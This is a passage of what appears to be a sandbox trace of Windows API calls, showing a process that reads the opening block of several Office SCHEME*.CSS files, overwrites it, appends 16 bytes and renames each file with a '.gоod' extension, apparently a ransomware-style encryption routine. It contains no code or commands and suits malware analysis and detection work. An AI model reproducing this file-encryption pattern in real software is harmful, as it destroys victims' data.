lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x20030 [0259.156] WriteFile (in: hFile=0x834, lpBuffer=0x38d64e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x38d64e8*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0259.157] CloseHandle (hObject=0x834) returned 1 [0259.157] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", lpFilePart=0x0) returned 0x4a [0259.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0259.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0259.157] GetFileType (hFile=0x834) returned 0x1 [0259.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0259.157] GetFileType (hFile=0x834) returned 0x1 [0259.158] ReadFile (in: hFile=0x834, lpBuffer=0x38d8920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x38d8920*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0263.363] CloseHandle (hObject=0x834) returned 1 [0263.363] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", lpFilePart=0x0) returned 0x4a [0263.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0263.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0263.363] GetFileType (hFile=0x834) returned 0x1 [0263.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0263.363] GetFileType (hFile=0x834) returned 0x1 [0263.363] WriteFile (in: hFile=0x834, lpBuffer=0x3757d80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3757d80*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0263.363] CloseHandle (hObject=0x834) returned 1 [0263.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS", lpFilePart=0x0) returned 0x4a [0263.364] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS.gоod", lpFilePart=0x0) returned 0x4f [0263.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0263.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa4c084e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa4c084e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99300ab2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20040)) returned 1 [0263.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0263.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME11.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme11.css.gоod")) returned 1 [0263.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", lpFilePart=0x0) returned 0x4a [0263.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0263.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), fInfoLevelId=0x0, lpFileInformation=0x3a63308 | out: lpFileInformation=0x3a63308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a)) returned 1 [0263.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0263.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", lpFilePart=0x0) returned 0x4a [0263.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0263.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0263.366] GetFileType (hFile=0x834) returned 0x1 [0263.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0263.367] GetFileType (hFile=0x834) returned 0x1 [0263.367] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0263.367] ReadFile (in: hFile=0x834, lpBuffer=0x3a63730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3a63730*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0265.609] CloseHandle (hObject=0x834) returned 1 [0265.609] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", lpFilePart=0x0) returned 0x4a [0265.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0265.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0265.609] GetFileType (hFile=0x834) returned 0x1 [0265.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0265.609] GetFileType (hFile=0x834) returned 0x1 [0265.609] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1e09a [0265.609] WriteFile (in: hFile=0x834, lpBuffer=0x3945c90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3945c90*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0265.944] CloseHandle (hObject=0x834) returned 1 [0265.944] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", lpFilePart=0x0) returned 0x4a [0265.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0265.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0265.945] GetFileType (hFile=0x834) returned 0x1 [0265.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0265.945] GetFileType (hFile=0x834) returned 0x1 [0265.945] ReadFile (in: hFile=0x834, lpBuffer=0x394e1b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x394e1b8*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0265.974] CloseHandle (hObject=0x834) returned 1 [0266.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", lpFilePart=0x0) returned 0x4a [0266.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0266.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.009] GetFileType (hFile=0x834) returned 0x1 [0266.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0266.009] GetFileType (hFile=0x834) returned 0x1 [0266.009] WriteFile (in: hFile=0x834, lpBuffer=0x394cf08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x394cf08*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0266.009] CloseHandle (hObject=0x834) returned 1 [0266.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS", lpFilePart=0x0) returned 0x4a [0266.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS.gоod", lpFilePart=0x0) returned 0x4f [0266.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0266.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac33304, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0aa)) returned 1 [0266.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0266.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME12.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme12.css.gоod")) returned 1 [0266.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", lpFilePart=0x0) returned 0x4a [0266.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0266.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), fInfoLevelId=0x0, lpFileInformation=0x3a4aaf8 | out: lpFileInformation=0x3a4aaf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a)) returned 1 [0266.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0266.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", lpFilePart=0x0) returned 0x4a [0266.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0266.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0266.012] GetFileType (hFile=0x834) returned 0x1 [0266.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0266.012] GetFileType (hFile=0x834) returned 0x1 [0266.012] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0266.012] ReadFile (in: hFile=0x834, lpBuffer=0x3a4af20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3a4af20*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0266.157] CloseHandle (hObject=0x834) returned 1 [0266.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", lpFilePart=0x0) returned 0x4a [0266.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0266.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.514] GetFileType (hFile=0x858) returned 0x1 [0266.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0266.515] GetFileType (hFile=0x858) returned 0x1 [0266.515] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1ec9a [0266.515] WriteFile (in: hFile=0x858, lpBuffer=0x39af4d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x39af4d0*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0266.516] CloseHandle (hObject=0x858) returned 1 [0266.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", lpFilePart=0x0) returned 0x4a [0266.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0266.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.516] GetFileType (hFile=0x858) returned 0x1 [0266.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0266.516] GetFileType (hFile=0x858) returned 0x1 [0266.516] ReadFile (in: hFile=0x858, lpBuffer=0x39b19a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x39b19a8*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0266.547] CloseHandle (hObject=0x858) returned 1 [0266.547] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", lpFilePart=0x0) returned 0x4a [0266.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0266.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.548] GetFileType (hFile=0x858) returned 0x1 [0266.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0266.548] GetFileType (hFile=0x858) returned 0x1 [0266.548] WriteFile (in: hFile=0x858, lpBuffer=0x39b06f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x39b06f8*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0266.548] CloseHandle (hObject=0x858) returned 1 [0266.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS", lpFilePart=0x0) returned 0x4a [0266.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS.gоod", lpFilePart=0x0) returned 0x4f [0266.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0266.548] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b16a6ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ecaa)) returned 1 [0266.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0266.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME13.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme13.css.gоod")) returned 1 [0266.550] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", lpFilePart=0x0) returned 0x4a [0266.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0266.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), fInfoLevelId=0x0, lpFileInformation=0x3a2ddb8 | out: lpFileInformation=0x3a2ddb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab02bf1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc)) returned 1 [0266.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0266.550] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", lpFilePart=0x0) returned 0x4a [0266.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0266.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.551] GetFileType (hFile=0x858) returned 0x1 [0266.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0266.551] GetFileType (hFile=0x858) returned 0x1 [0266.551] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0266.552] ReadFile (in: hFile=0x858, lpBuffer=0x3a2e1e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3a2e1e0*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0266.630] CloseHandle (hObject=0x858) returned 1 [0267.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS", lpFilePart=0x0) returned 0x4a [0267.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0267.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0267.711] GetFileType (hFile=0x864) returned 0x1 [0267.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0267.728] GetFileType (hFile=0x864) returned 0x1 [0267.728] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1f5cc 